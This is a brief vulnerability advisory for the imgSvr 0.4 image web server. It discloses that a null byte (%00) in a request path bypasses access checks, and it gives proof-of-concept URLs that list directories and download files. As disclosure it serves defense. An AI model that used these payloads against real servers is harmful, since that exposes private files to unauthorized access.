imgSvr.txt

` Donato Ferrante  
  
  
Application: imgSvr  
http://adaimgsvr.sourceforge.net/  
  
Version: 0.4  
  
Bug: Index viewing  
  
Author: Donato Ferrante  
e-mail: [email protected]  
web: www.autistici.org/fdonato  
  
  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
  
1. Description  
2. The bug  
3. The code  
4. The fix  
  
  
  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
  
----------------  
1. Description:  
----------------  
  
Vendor's description:  
  
"ImgSvr is a Web image server, which allows users to browse digital  
images. It is a full HTTP server, which is specifically designed for  
image publishing."  
  
  
  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
  
------------  
2. The bug:  
------------  
  
The program by default has some security checks that an attacker can  
bypass, to:  
  
[1] see the content of a web directory.  
  
  
[2] see or download the files of a web directory.  
  
  
  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
  
-------------  
3. The code:  
-------------  
  
To test the vulnerabilities:  
  
  
[1]  
  
To see the content of a directory:  
  
http://[host]:1234/%00/  
or:  
http://[host]:1234/someDirectory/%00/  
  
  
[2]  
  
To see/download a file:  
  
http://[host]:1234/someDirectory/someFile%00  
  
  
  
NOTE: if the server will show a warning like:  
  
ERROR Report  
  
s-fileio.adb:955  
Exception name: ADA.IO_EXCEPTIONS.DEVICE_ERROR Message:s-fileio.adb:955  
  
  
send another time the request.  
  
  
  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
  
------------  
4. The fix:  
------------  
  
Vendor was contacted.  
Bug will be fixed in the next version.  
  
  
  
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  
`